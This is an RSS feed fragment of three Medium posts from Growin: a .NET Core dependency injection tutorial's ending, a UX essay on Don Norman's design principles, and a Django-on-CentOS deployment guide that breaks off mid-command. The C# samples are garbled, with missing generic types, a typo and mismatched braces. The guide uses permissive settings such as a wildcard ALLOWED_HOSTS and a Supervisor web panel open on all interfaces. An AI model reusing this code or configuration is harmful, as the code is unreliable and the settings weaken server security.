href="https://docs.microsoft.com/en-us/aspnet/core/fundamentals/dependency-injection?view=aspnetcore-3.1">.Net Core Container</a></p><h4>Implementation Example with .NET Core</h4><p>This is a simple example to show how you register and resolve dependencies using the Dependency Injection technique with .NET Core.</p><p>The objective is to provide a web API that gets the list of albums consuming a Service.</p><p>Create a new class library named Services and a new Class to represent an Album</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/0*CwnT6yW2lzFhJfBW.png" /></figure><p>Create class Album:</p><p>namespace Services.Entities<br>{<br>8 references<br>public class Album<br>{<br>3 references<br>public string Name { get; set; }<br>3 references<br>public string ArtistName { get; set; }<br>}<br>}</p><p>Define the operations to be implemented:</p><p>namespace Services.Interfaces<br>{<br>4 references<br>public interface IAlbumService<br>{<br>2 references<br>IEnumerable GetAlbums ();<br>}<br>}</p><p>Create a class to implement IAlbumService:</p><p>namespace Services<br>{<br>1 reference<br>public class AlbumService : IAlbumService<br>{<br>private readonly List _albums = new List()<br>{<br>new Album { Name= &quot;Battle of Los Angeles&quot;, ArtistName=&quot;Rage Against the Machine&quot; },<br>new Album { Name= &quot;Cowboys from Hell&quot;, ArtistName=&quot;Pantera&quot; },<br>new Album { Name= &quot;Black Album&quot;, ArtistName=&quot;Metalica&quot; },<br>};<br>2 references<br>public IEnumerable GetAlbums()<br>{<br>return _albuns.AsEnumerable();<br>}<br>}<br>}</p><p>Create a new WebAPI project and Register Dependencies</p><p>First, we must install the Microsoft.Extensions.DependencyInjection package using Nuget.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/0*Lu9o87fPQ7lPUTjg.png" /></figure><p>The entry point of a <em>Web API</em> is the Startup.cs. We will register a dependency on the ConfigureService:</p><p>public void ConfigureServices(IServiceCollection services)<br>{<br>services.AddTransient();<br>}</p><p>Add a new Controller Album with a method Get to return the list of albums. The dependency will be injected by the constructor.</p><p>namespace Api.Controllers<br>{<br>[Route(template:&quot;api/[controller]&quot;]<br>[APIController]<br>1 reference<br>public class AlbumController: ControllerBase<br>{<br>private readonly IAlbumsService _albumsService;<br>0 references<br>public AlbumController(IAlbumsService albumsService)<br>{<br>_albumsService = albumsService;<br>}<br>[HttpGet]<br>0 references<br>public IEnumerable GetAlbums()<br>}<br>return _albumsService.GetAlbums();<br>}<br>}<br>}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/0*lwWkhvaJb0A7KbpY.png" /></figure><h3>Conclusion</h3><p>Dependency Injection allows a client to remove all knowledge of a concrete implementation. It allows us to create a more flexible code and switch out one implementation for another without changing the layer.<br>We can more easily test our code without worrying about side-effects with dependency injection, as it Promotes reusability, testability, and maintainability.</p><h3>References</h3><p><a href="https://softwareengineering.stackexchange.com/questions/135971/when-is-it-not-appropriate-to-use-the-dependency-injection-pattern">https://softwareengineering.stackexchange.com/questions/135971/when-is-it-not-appropriate-to-use-the-dependency-injection-pattern</a></p><p><a href="https://www.blinkingcaret.com/2016/04/13/composition-superior-inheritance/">https://www.blinkingcaret.com/2016/04/13/composition-superior-inheritance/</a></p><p><a href="https://en.wikipedia.org/wiki/Dependency_injection">https://en.wikipedia.org/wiki/Dependency_injection</a></p><p><a href="https://auth0.com/blog/dependency-injection-in-dotnet-core/">https://auth0.com/blog/dependency-injection-in-dotnet-core/</a></p><p><a href="https://docs.microsoft.com/en-us/aspnet/core/fundamentals/dependency-injection?view=aspnetcore-3.1">https://docs.microsoft.com/en-us/aspnet/core/fundamentals/dependency-injection?view=aspnetcore-3.1</a></p><p><a href="https://www.tutorialsteacher.com/ioc">https://www.tutorialsteacher.com/ioc</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=422159da7ce7" width="1" height="1" alt=""><hr><p><a href="https://medium.com/growininsights/what-is-dependency-injection-422159da7ce7">What is Dependency Injection?</a> was originally published in <a href="https://medium.com/growininsights">Growin</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Things for Everyday UX Design]]></title>
            <link>https://medium.com/growininsights/things-for-everyday-ux-design-bf3bef134485?source=rss----e27839a53216---4</link>
            <guid isPermaLink="false">https://medium.com/p/bf3bef134485</guid>
            <category><![CDATA[usability]]></category>
            <category><![CDATA[don-norman]]></category>
            <category><![CDATA[mental-models]]></category>
            <category><![CDATA[visibility]]></category>
            <category><![CDATA[design-of-everyday-things]]></category>
            <dc:creator><![CDATA[Hernani Alves]]></dc:creator>
            <pubDate>Wed, 09 Sep 2020 10:43:37 GMT</pubDate>
            <atom:updated>2020-09-09T10:43:37.028Z</atom:updated>
            <content:encoded><![CDATA[<h4><em>How to start designing understandable products based on basic design principles</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C-Q9l5sC4o_78tlpHfIdKg.jpeg" /><figcaption>This post was originally posted on <a href="https://www.growin.com/blog/">Growin’s blog</a></figcaption></figure><p>Recently, I picked up a book that I had read some years ago. At the time I read most of it but hadn’t quite got to the last chapter. Being a seminal book in the UX industry, I decided to give another go at <a href="https://www.youtube.com/watch?v=_Kc57XAE_V4&amp;feature=youtu.be">The Design of Everyday Things by Don Norman</a>. This time it was different. I started taking notes as I went along. This article is part of a series focusing on the book and refers only to the first two chapters.</p><p>I imagine you have objects that you struggle with. These are our everyday enemies always trying to sabotage our daily routines. It might be your dishwasher, the TV, your fridge, or your vacuum cleaner. They might also be digital, like tax returns or social security websites. Of course, we often make up completely logical excuses for these frustrations. Sometimes we blame ourselves. “I can get the ‘thing’ to work” or “there must be something wrong with me.” People inevitably think that they have a natural ineptitude for performing relatively simple tasks, which leads to plenty of frustration and self-doubt. Poorly designed objects provide their users with no clues as to their desired function or, worse, false signifiers that lead to misuse. They not only obscure the purpose of the object but also make it difficult to understand the object itself.</p><p>There’s a simple example of a frustrating object that we all have encountered in our daily lives. That object is a door, but not just any door. It’s a door that we don’t seem to understand. We either push it instead of pulling or we pull instead of pushing it. Most of the time we have to give it a try to see how it works first and there’s a 50% chance we bump our face into it. That example was made famous by Don Norman in his book. Those adversarial objects have even gained the nickname of Norman Doors in the design community. <a href="https://www.youtube.com/watch?v=yY96hTb8WgI">Badly designed doors are everywhere</a>.</p><figure><img alt="Illustration of an opened door with the message: “which way do I open?”" src="https://cdn-images-1.medium.com/max/1024/1*KkLNW53p5J6ucU1eRCPEVQ.jpeg" /><figcaption>Illustration by <a href="https://www.behance.net/maia_da_silva">Daniel Maia da Silva</a></figcaption></figure><p>We have all pushed doors that are supposed to be pulled. If they were simply designed well, there wouldn’t be any need for signs telling you how to open them. And we know that even with a sign people still manage to get it wrong. We don’t always care enough to read. Don Norman proposes a solution — a flat horizontal bar “affords” to be pushed and a vertical bar that you can grab “affords” to be pulled. Sadly, there seems to be no easy way of overcoming this difficulty because aesthetics can be an issue working against the user. The designer might have an idea or motif in their head that they value more than utility. For beauty or design, they will hide the hinges or knobs. “Pretty doors. Elegant. Probably won a design prize,” writes Norman in the book. We are still going to encounter doors that we will bump into, making us frustrated when we least expect it. Other times they will just work, letting us easily use the door and not think twice about it.</p><p>The answer to how an object works is informed by its design using “psychological principles” rooted in our nature and in the nature of materials. This allows us to better understand and use everyday objects. A curious thing you might have noticed is that you aren’t frustrated every time with every object. When was the last time you were upset when using a lamp or hairdryer?<br>This takes us to one of the most important principles of design: visibility.</p><h3>Design Principle #1: Visibility</h3><p>The world is filled with objects designed with the best intentions that inevitably became puzzles. They provide no clue as to how we should use them. In this regard, visibility is always a designer’s friend. When the structure of an object is visible, the user intuitively knows what to do with it. Well designed objects hold no secrets. Visibility is also important in UX when the object changes state. That is because it “signals” to the user that the action was completed.<br>In the book, Norman divides visibility into two principles — mapping and feedback.</p><figure><img alt="Illustration of a red swiss army knife, all the utensils are open; with the message “Ever tried to use it like this?”" src="https://cdn-images-1.medium.com/max/1024/1*78UwXT8VxLG4OXqr-0uQ6w.jpeg" /><figcaption>Illustration by <a href="https://www.behance.net/maia_da_silva">Daniel Maia da Silva</a></figcaption></figure><h4>Mapping</h4><p>Well designed objects have a way of demonstrating their function in a self-explanatory way, making them easy to understand. That is because of the relationship between two things: controls and the things they control. Usually, when there are more actions than controls, users will have problems mapping out what they can do. One control and one action is a good rule to go by. Another is to take advantage of physical analogies and cultural standards. If a control needs to lift something up, then it only makes sense to represent the control in a way that the user will perform a similar gesture. There’s a similar modernist mantra of “form follows function” by <a href="https://www.smashingmagazine.com/2010/03/does-form-follow-function/">Sullivan</a>. Of course, while some of us would say this means busier interfaces, it, in fact, is a challenge to minimalism and simplicity.</p><p>However, the opposite is also true. When complexity is in the user’s face all of the time we know for sure that it will get in the way of what they need to do. Context is important. Chances are, your users won’t need everything all of the time. That is why in our houses we have drawers, cupboards, shelves. The trick here is to know how to organize the house. <em>In The Design of Everyday Things</em>, Norman introduces a design concept you might have heard before called affordances.</p><p>The human mind is creative and imaginative. Provide it with a small clue and it will start working on finding meaning and understanding. The clues provided by objects, if not explicit enough, will lead to frustration. They are impediments to the normal process of understanding that is natural to humans. Affordances are properties of the material or shapes of things that allow for a specific use. These are often places of interaction. In a physical object, affordances usually give us the necessary hints we need to use them. This should be enough. The moment you have to explain the thing, it has failed. Simple objects should be able to survive in the world without explanation or instruction. Of course, more complex interactions will need some help to stand on their own. Good design almost feels like magic. It works out of the box with no need to read the manual.</p><p>Those clues present in affordances are called signifiers. Sometimes even experienced designers get them mixed up. All buttons are signifiers — they signal where you can perform an action. Affordances also work because of constraints or limitations. As Norman puts it “the world restricts allowed behavior.” If the signifier is a clue given by the object to get you to know what to do, it’s just as helpful to know what you can’t do with the object. Constraints also help by limiting the number of choices present to us and reduce the need to remember things all the time. Constraints and signifiers usually have a visual relationship and when they are perfectly connected you have an affordance. When not, you have a false affordance. It appears to allow you to do something but, as it turns out, it doesn’t.</p><figure><img alt="Illustration of a portable heater with the message: is it on or off?" src="https://cdn-images-1.medium.com/max/1024/1*s5Yv8tNbtBlAncBD0PF1LA.jpeg" /><figcaption>Illustration by <a href="https://www.behance.net/maia_da_silva">Daniel Maia da Silva</a></figcaption></figure><h4>Feedback</h4><p>Have you ever played <em>Party&amp;Co</em>? There’s this red pencil that you have to draw a given word with and show it to your team to see if they can guess what it is. But there’s a catch — you have to draw while wearing glasses with red lenses. This means that you can’t see what you are doing. It might seem logical that there should be some kind of message when the action is performed but it’s something that I’ve seen absent from most interfaces. I’m sure you’ve tried to click a form button twice without knowing if it was submitted. Feedback lets us know if our intended result has been achieved. It makes us feel that our actions make sense, feel relevant, and are meaningful.</p><p>Let me tell you about my heater. It has two identical buttons. Clicking just one will activate the minimum heat. Clicking the other will activate the medium heat. Both buttons pressed will activate the maximum heat. I can’t tell you the number of times I’ve turned the thing to the max when I wanted to switch it off. Feedback helps to create a cause-effect relation. When you flip the switch, the lights go on. But feedback also has a problem — sometimes a false sense of causality will occur. When we push a button and if we don’t understand how a machine works, we might witness some other actions that happen at the same time and think both actions came from the same cause. Coincidences do happen. Making things visible is important because it can enable the user to imagine how something works and minimizes possible misinterpretation. The user will, as Don Norman puts it, form a “conceptual model” of the device.</p><h3>Design principle #2: Provide a good conceptual model</h3><p>Do you remember that time “La La Land” almost won the Oscar for the best film? It might be simple for us to imagine how we would organize that ceremony: There’s a nominees list. The winner’s name is written inside an envelope. People walk onto the stage with an envelope. They open and read the envelope. The winners walk on stage to receive the award and leave. Another person walks in to present the next winner with the next envelope. It seems pretty simple, right? What if I told you there were two envelopes for each winner? What if I told you that PwC, one of the major accounting firms in the world, was certifying the whole process? That is an example of why the <a href="https://fs.blog/mental-models/">mental models</a> that we form when observing objects might be disconnected from their designed conceptual model. In this case, one envelope set was on the left side of the stage, the other, a complete copy was on the right side. When one envelope was given the other should have been discarded. Only that in that case, it wasn’t. The lead actress even thought there had been foul play involved. She had the wrong mental model. Sometimes we over-engineer things and provide a different image to our users, which makes it harder for people to create a correct mental model. Other times, we completely misinterpret things.</p><p>For centuries humanity had the wrong mental model of the universe. People looked to the sky, saw the sun moving, and could never imagine that it was the earth moving around the sun. People also used to think the earth was flat. Our senses trick us. And most of the time they lead us into mental constructions that may or not be accurate. This is happening everywhere. Most objects that we use in our daily lives are mysteries to us. Do you know what the inside of your phone looks like? How about your car? Mental models are usually created combining visible structure and perceived actions (affordances). They are reinforced through experience, training, and instruction. If we don’t see it, that doesn’t mean it doesn’t exist — it just means that it might trick us.</p><p>When complex systems go wrong, people feel bad for failing. Sometimes, if they can, they may try to conceal their errors. People are usually blamed when they perform badly. <a href="https://time.com/4683641/oscars-2017-best-picture-mistake-moonlight-la-la-land/">At the Oscars ceremony, some people blamed the presenters, Warren Beatty and Faye Dunaway</a>. But the system in place at the ceremony was what fostered the mistake. In some ways, they got off easy. Some centuries ago, the Inquisition tortured people because of a faulty mental model.</p><figure><img alt="Illustration of an opened oven with a pizza inside; has the message: let’s push it to the max so it bakes my pizza faster!" src="https://cdn-images-1.medium.com/max/1024/1*OdBoc4WFuREngWLQ0AZFDg.jpeg" /><figcaption>Illustration by <a href="https://www.behance.net/maia_da_silva">Daniel Maia da Silva</a></figcaption></figure><p>Another example that Norman refers to in <em>The Design of Everyday Things</em> is the thermostat. People usually set the thermostat to a higher value with the belief that the room will get warmer or cooler faster. Norman calls this “the folk theory of thermostats.” The conceptual model of most thermostats is that of an on/off switch. You are turning it on for the time it takes for the room to get to a preset temperature. After that, it will be turned off.</p><p>Nothing can be more difficult than having an incorrect mental model, because it reflects our knowledge and our understanding of the things around us. They might be innocent or outdated and sharing them can lead to embarrassment or feeling inferior.</p><h3>Final Thoughts</h3><p>As a UX designer, I’ve seen and worked on many projects. For some of those projects we got it right and other times we learned from our experiences. There were some projects where I was wary of how good the user feedback was. It seemed almost too easy, but everyone said it was great. For other projects, we really worked hard and thought that we got it right, only to discover that the users didn’t need it.</p><p>These design principles have a huge impact on your project. Good design should make a product understandable and usable. Well designed products help us become happier and do our jobs better. They also make it easy to comprehend more complex concepts. To design objects that minimize dissatisfaction, you should try to follow these principles by Don Norman in The Design of Everyday Things. First, try to find out how you can improve visibility over your system. This will help your users create a correct mental model. Remember, they will have one whether you help them or not.</p><p>To help you memorize these principles, <a href="https://www.growin.com/wp-content/uploads/2020/09/GROWIN_UX_Principles_Posters_2020-1.pdf">we designed two amazing posters</a> with the help of fellow designer Daniel Maia da Silva. You can check his work <a href="https://www.behance.net/maia_da_silva">here</a>.<br>Next time something goes wrong and your users don’t get it, don’t think it’s their fault. Check first to see if you haven’t designed a beautiful puzzle.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf3bef134485" width="1" height="1" alt=""><hr><p><a href="https://medium.com/growininsights/things-for-everyday-ux-design-bf3bef134485">Things for Everyday UX Design</a> was originally published in <a href="https://medium.com/growininsights">Growin</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Install Django Python Framework on CentOS 8]]></title>
            <link>https://medium.com/growininsights/how-to-install-django-python-framework-on-centos-8-5b0ebaad968c?source=rss----e27839a53216---4</link>
            <guid isPermaLink="false">https://medium.com/p/5b0ebaad968c</guid>
            <category><![CDATA[nginx]]></category>
            <category><![CDATA[django]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[gunicorn]]></category>
            <category><![CDATA[supervisord]]></category>
            <dc:creator><![CDATA[Jonnas Costa]]></dc:creator>
            <pubDate>Mon, 07 Sep 2020 10:44:46 GMT</pubDate>
            <atom:updated>2020-09-07T10:44:46.396Z</atom:updated>
            <content:encoded><![CDATA[<h4>A step-by-step guide to help you get started with this web framework for developing Python Web Applications</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pcu5b47Z61mVsVAZxJcZXQ.jpeg" /><figcaption>This post was originally posted on <a href="https://www.growin.com/blog/">Growin’s blog</a></figcaption></figure><p>In this article, we are going to learn how to install Django with Nginx on CENTOS 8. To follow the contents of this tutorial you will need to have a basic understanding of the Linux environment and Python/Django as well.</p><p>Below, you will see the architecture of our environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zfEPqD1AGK4AN0dM" /></figure><p><a href="https://www.djangoproject.com/"><strong><em>Django</em></strong></a><em>: Python Web framework (backend).<br></em><a href="https://www.nginx.com/"><strong><em>Nginx</em></strong></a><em>: Reverse proxy.<br></em><a href="https://gunicorn.org/"><strong><em>Gunicorn</em></strong></a><em>: Python WSGI HTTP Server.<br></em><a href="http://supervisord.org/"><strong><em>Supervisor</em></strong></a><em>: Supervisor is a client/server system that allows its users to monitor and control a number of processes on UNIX-like operating systems.</em></p><p>For educational purposes (because you may still be learning), I strongly recommend you to try to implement this environment in a Virtual Machine, with snapshots and other features that it may have, just for precaution and to avoid headaches in the future. If you do anything wrong, you can rollback and try again.</p><p>Before we dive into the installation part, here’s what you can expect from this Article:</p><p><strong>Chapter 1 </strong>— Installing NGINX</p><p><strong>Chapter 2</strong> — Installing Supervisord with internet access</p><p><strong>Chapter 3</strong> — Creating a Django Project</p><p><strong>Chapter 4 </strong>— Installing Gunicorn (Python WSGI HTTP Server)</p><p><strong>Chapter 5</strong> — Creating Gunicorn config file<br><strong>Chapter 6</strong> — Edit Nginx main config file</p><p><strong>Chapter 7 </strong>— Editing /etc/supervisord.conf</p><p><strong>Chapter 8</strong> — Starting Supervisor, Nginx and Django/Gunicorn</p><p><strong>Chapter 9</strong> — Problems and Troubleshoot</p><p><strong>Chapter 10</strong> — Key Takeaways</p><p>Now let’s start installing Django Python Framework on CentOS 8.</p><h3><strong>1 — Installing NGINX</strong></h3><p>In this section, we are going to provide information on how to install Nginx, use the package manager, and grant access through the firewall (that’s very important or you may find yourself in trouble later on). Nginx is needed because it will function as a reverse proxy.</p><p><strong>Step 1: To add CENTOS EPEL repository</strong></p><blockquote>$ sudo yum install epel-release</blockquote><p><strong>Step 2: Now that the Nginx repository is installed, we need to install its package</strong></p><blockquote>$ sudo yum install nginx</blockquote><p><strong>Step 3: Next, we need to use systemctl to start its process</strong></p><blockquote>$ sudo systemctl start nginx</blockquote><p><strong>Step 4: If you are running a firewall, it’s a good idea to allow the http traffic and https.</strong></p><blockquote>$ sudo firewall-cmd — permanent — zone=public — add-service=http <br>$ sudo firewall-cmd — permanent — zone=public — add-service=https<br>$ sudo firewall-cmd — reload</blockquote><p><strong>Step 5: Now its time to check if the Nginx server is up and running</strong></p><p><a href="http://your_machine_ip/">http://your_machine_ip/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oAb4NaXeqpU6iDjW" /></figure><p><strong>Step 6: Enable the Nginx service to automatically boot with the OS</strong></p><blockquote>$ sudo systemctl enable nginx</blockquote><h3><strong>2 — Installing Supervisord with internet access</strong></h3><p>At this point, we need the supervisor to control the process and monitor processes that are needed to keep the Django page running.</p><p><strong>Step 1: Install through pip. You might need “root” privileges in order to install supervisor</strong></p><blockquote>$ pip3 install — user supervisor</blockquote><p><strong>Step 2: Run the commands listed below</strong></p><blockquote>$ yum install supervisor<br>$ systemctl enable supervisord<br>$ systemctl enable supervisord<br>$ systemctl status supervisord</blockquote><p><strong>Step 3: Generate the supervisord.conf in order for the supervisor to run</strong></p><blockquote>$ echo_supervisord_conf &gt; supervisord.conf<br>$ sudo cp supervisord.conf /etc/supervisord.conf</blockquote><h3><strong>3 — Creating a Django Project</strong></h3><p>We will now guide you through the necessary steps to create the Django project as well as the directory structure and some settings that need to be changed in the setting.py.</p><p><strong>Prerequisites:</strong> You might need “root” privileges in order to create directories as shown in the following steps.</p><p><strong>Step 1: Create the following directories as shown below</strong></p><blockquote>$ mkdir /opt/django-websites</blockquote><p>PS: make sure that you give the appropriate access to the directory “django-websites” and its contents.</p><p><strong>Step 2: Create a Python virtual environment with the command listed below in the directory of your project</strong></p><blockquote>$ python3 -m venv venv</blockquote><p><strong>Step 3: Activate the virtual environment</strong></p><blockquote>$ source venv/bin/activate</blockquote><p><strong>Step 4: Install Django in the venv that you created</strong></p><blockquote>(venv)$ pip install django</blockquote><p><strong>Step 5: Now we will use the command “django-project” to create a project with django</strong></p><blockquote>(venv)$ django-admin.py startproject project .</blockquote><p>Django will create this structure:</p><p>./project-test<br>| — config<br>| ` — gunicorn_config.conf<br>| — logs<br>| — manage.py<br>` — project<br> | — __init__.py<br> | — asgi.py<br> | — settings.py<br> | — urls.py<br> ` — wsgi.py</p><p><strong>Step 6: Go to the “/opt/django-websites” dir and create a static folder and logs directory</strong></p><p><strong>/opt/django-websites/ #Directory where all your sites will be located.</strong></p><p>| — logs #Directory where the logs of your sites will be located.<br>| — project-test #Directory of the Django project root<br>| | — config #Directory where gunicorn config file is.<br>| | ` — gunicorn_config.conf #gunicorn config file<br>| | — logs # application log comes here<br>| | — manage.py<br>| ` — project #Main Directory of a Django application <br>| | | — __init__.py<br>| | | — asgi.py<br>| | | — settings.py #Important settings file for your project<br>| | | — urls.py<br>| | ` — wsgi.py<br>| | — venv #python virtual environment<br>` — static # All static files from your projects are stored here.</p><p><strong>Step 7: Open the /opt/django-websites/project-test/project/settings.py</strong></p><p><strong>Step 8: Add ‘*’ to the ALLOWED_HOSTS</strong></p><p><em>A brief explanation from the </em><a href="https://docs.djangoproject.com/en/3.0/ref/settings/"><em>Django Documentation</em></a><em>: “A list of strings representing the host/domain names that this Django site can serve. This is a security measure to prevent </em><a href="https://docs.djangoproject.com/en/3.0/topics/security/#host-headers-virtual-hosting"><em>HTTP Host header attacks</em></a><em>, which are possible even under many seemingly-safe web server configurations.”</em></p><p>Update the option like this.</p><p>ALLOWED_HOSTS = [‘*’]</p><p><strong>Step 9: Add these lines at the end of the setting.py</strong></p><p># Static files (CSS, JavaScript, Images)<br># <a href="https://docs.djangoproject.com/en/2.1/howto/static-files/">https://docs.djangoproject.com/en/2.1/howto/static-files/</a><br># your application will search for the static files in relative url <a href="http://your_nameblalba/static/[projectname]/*">http://your_nameblalba/static/[projectname]/*</a><br>STATIC_URL = ‘/static/project-test/’</p><p># and the root of your static folder will be…<br><strong>if</strong> os.name == “nt”:<br> STATIC_ROOT = ‘C:/work/django-websites/static/’<br><strong>else</strong>:<br> STATIC_ROOT = ‘/opt/django-websites/static/project-test/’</p><p><strong>Step 10: After any changes are made in python, you must restart the application process in supervisor via web or via systemctl</strong></p><p>E.g.: supervisorctl or via web <a href="http://server_name:9001/">http://server_name:9001</a> and click restart</p><p>$ sudo supervisorctl<br>PROJECT-TEST RUNNING pid 15146, uptime 0:12:12<br>supervisor&gt; restart PROJECT-TEST <br>PROJECT-TEST: stopped<br>PROJECT-TEST: started<br>supervisor&gt;</p><h3><strong>4 — Installing Gunicorn (Python WSGI HTTP Server)</strong></h3><p>Now we will install Gunicorn, which will function as a Python WSGI HTTP Server. Pretty simple so far.</p><p><strong>Step 1: With the virtual environment activated, install gunicorn by running the commands below.</strong></p><blockquote>(venv)$ pip install gunicorn</blockquote><p>PS: this will install the latest version.</p><h3><strong>5 — Creating Gunicorn config file</strong></h3><p>The gunicorn config file will set how Gunicorn will bind to your network in order to be seen by Nginx and will point to the virtual environment (aka venv) of your Python project.</p><p><strong>Step 1: Create a folder named “config” in the root of your Django’s project</strong></p><blockquote>$ cd /opt/django-websites/project-test<br>$ mkdir config</blockquote><p><strong>Step 2: The root project must have the following structure</strong></p><p>| — project-test #Directory of the Django project root<br>| | — config #Directory where gunicorn config file is.<br>| | ` — gunicorn_config.conf #gunicorn config file<br>| | — logs # application log comes here<br>| | — manage.py<br>| ` — project #Main Directory of a Django application <br>| | — __init__.py<br>| | — asgi.py<br>| | — settings.py #Important settings file for your project<br>| | — urls.py<br>| ` — wsgi.py<br>| — venv</p><p><strong>Step 3: Create the gunicorn config file</strong></p><p>At the folder: /opt/django-websites/project-test/</p><p><strong>Create the file config/gunicorn_config.conf with the following contents:</strong></p><p>command = ‘gunicorn -c /opt/django-websites/project-test/config/gunicorn_config.conf project.wsgi’<br>pythonpath = ‘/opt/django-websites/project-test/venv/bin/’<br>bind = ‘127.0.0.1:8001’<br>workers = 2</p><p><strong>Step 4: It’s important that the bind IP address and port are referenced in the upstream config or else it will not be able to redirect!</strong></p><h3><strong>6 — Edit Nginx main config file</strong></h3><p>This is a tricky part so you have to be very careful with the Nginx config file or you may end up with a non-functioning server. That’s why I‘ve provided the entire file of my Nginx config file.</p><p><strong>Step 1: Open the nginx.conf file located at /etc/nginx</strong></p><blockquote># make a backup first, just for if anything goes wrong.<br>$ cp nginx.conf nginx.conf.bak<br>$ vim /etc/nginx/nginx.conf <strong>if</strong> you <strong>do</strong> not like vim you can use whatever you like.</blockquote><p><strong>Step 2: Paste the following contents into the nginx.conf</strong></p><p>user nginx;<br>worker_processes auto;<br>error_log /var/log/nginx/error.log;<br>pid /run/nginx.pid;</p><p># Load dynamic modules. See /usr/share/doc/nginx/README.dynamic.<br>include /usr/share/nginx/modules/*.conf;</p><p>events {<br> worker_connections 1024;<br>}</p><p>http {<br> log_format main ‘$remote_addr — $remote_user [$time_local] “$request” ‘<br> ‘$status $body_bytes_sent “$http_referer” ‘<br> ‘“$http_user_agent” “$http_x_forwarded_for”’;</p><p>access_log /var/log/nginx/access.log main;</p><p>sendfile on;<br> tcp_nopush on;<br> tcp_nodelay on;<br> keepalive_timeout 65;<br> types_hash_max_size 2048;</p><p>include /etc/nginx/mime.types;<br> default_type application/octet-stream;</p><p># Load modular configuration files from the /etc/nginx/conf.d directory.<br> # See http://nginx.org/en/docs/ngx_core_module.html#include<br> # for more information.<br> include /etc/nginx/conf.d/*.conf;<br> #Act as a reverse proxy , redirecting incoming connection to gunicorn wsgi server<br> include /etc/nginx/upstream-enabled/*.conf;</p><p>server {<br> listen :[80] default_server;<br> server_name VBCENTOS;<br> client_max_body_size 50M;<br> access_log /opt/django-websites/logs/access.log;<br> error_log /opt/django-websites/logs/error.log;</p><p>#Other pages in the same server<br> include /etc/nginx/sites-enabled/*.conf;<br> }<br> }</p><p><strong>Step 3: Create upstream and sites-enabled directories</strong></p><blockquote># At /etc/nginx create the following directories<br>$ mkdir /etc/nginx/sites-enabled<br>$ mkdir /etc/nginx/upstream-enabled</blockquote><p><strong>Step 4: At the sites-enabled directory, create a file called project-test.conf and insert the following contents</strong></p><blockquote>#define where the Nginx will search for the static files.<br>#project-test django project root dir<br>#make sure all your static files are under /static like js css etc..<br>location /static/project-test/ {<br> alias /opt/django-websites/static/project-test/;<br> }</blockquote><blockquote># if the request that comes to your website is not looking for a virtual server <br>#redirect to the project-test upstream<br>location / {<br> proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br> proxy_set_header Host $http_host;<br> proxy_redirect off;<br> if (!-f $request_filename) {<br> proxy_pass http://project-test;<br> break;<br> }<br>}</blockquote><p><strong>Step 5: At the upstream-enabled directory, create a file named project-test.conf and insert the following contents</strong></p><blockquote># Reverse proxy in action redirect to Gunicorn python WSGI server<br># hint to each project you create you need to define a new port<br>upstream project-test {<br> server 127.0.0.1:8001;<br>}</blockquote><p>Nginx directory structure</p><p>/etc/nginx/<br>| — conf.d<br>| — default.d<br>| — fastcgi.conf<br>| — fastcgi.conf.default<br>| — fastcgi_params<br>| — fastcgi_params.default<br>| — koi-utf<br>| — koi-win<br>| — mime.types<br>| — mime.types.default<br>| — nginx.conf<br>| — nginx.conf.bak<br>| — nginx.conf.default<br>| — scgi_params<br>| — scgi_params.default<br>| — sites-enabled<br>| ` — project-test.conf<br>| — upstream-enabled<br>| ` — project-test.conf<br>…</p><h3><strong>7 — Editing /etc/supervisord.conf</strong></h3><p>Now we will config the Supervisor to monitor the python process as well as take control of the process itself. You can start, stop, and restart the process by accessing the HTTP interface or via supervisorctl (via bash $ supervisorctl); that’s a CLI that does the same thing.</p><p><strong>Step 1: Open the /etc/supervisord.conf</strong></p><p>I will use VIM. You can use whatever program you prefer.</p><blockquote>$ vim /etc/supervisord.conf</blockquote><p><strong>Step 2: Search for [inet_http_server] and change it as shown below</strong></p><p>[inet_http_server] ; inet (TCP) server disabled by default<br>port=*:9001 ; ip_address:port specifier, *:port <strong>for</strong> all iface<br>username=admin ; default is no username (open server)<br>password=YOURPASSWORD ; default is no password (open server)</p><p><strong>Step 3: Search for [include] (bottom of the file) make the changes as shown below</strong></p><p>[include]<br>;files = relative/directory/*.ini<br>files = /opt/django-websites/supervisord_confs/*.conf</p><p><strong>Step 4: Notice the supervisord_confs folder? We haven’t created it yet. No problem, we will create the folder now</strong></p><blockquote>$ mkdir /opt/django-websites/supervisord_confs</blockquote><p><strong>Step 5: Create the config file for supervisor that contains the configurations for your web application’s processes</strong></p><blockquote>$ touch /opt/django-websites/supervisord_confs/project-test.conf</blockquote><p><strong>Step 6. Add the following configuration lines</strong></p><p><strong>[program:PROJECT-TEST]<br>command=/opt/django-websites/project-test/venv/bin/gunicorn -c /opt/django-websites/project-test/config/gunicorn_config.conf project.wsgi<br>directory=/opt/django-websites/project-test/<br>stderr_logfile=/opt/django-websites/project-test/logs/long.err.log<br>stdout_logfile=/opt/django-websites/project-test/logs/long.out.log</strong></p><p>#HINT project.wsgi can be found at <br>./django-websites/<br>| — logs<br>| — project-test<br>| | — config<br>| | ` — gunicorn_config.conf<br>| | — logs<br>| | — manage.py<br>| ` — project<br>| | — __init__.py<br>| | — asgi.py<br>| | — settings.py<br>| | — urls.py<br>| ` — wsgi.py<br>` — static</p><p><strong>Step 7: Add a rule in the firewall for the port 9001</strong></p><blockquote>$ sudo firewall-cmd — zone=public — add-port=9001/tcp — permanent<br>$ sudo firewall-cmd — 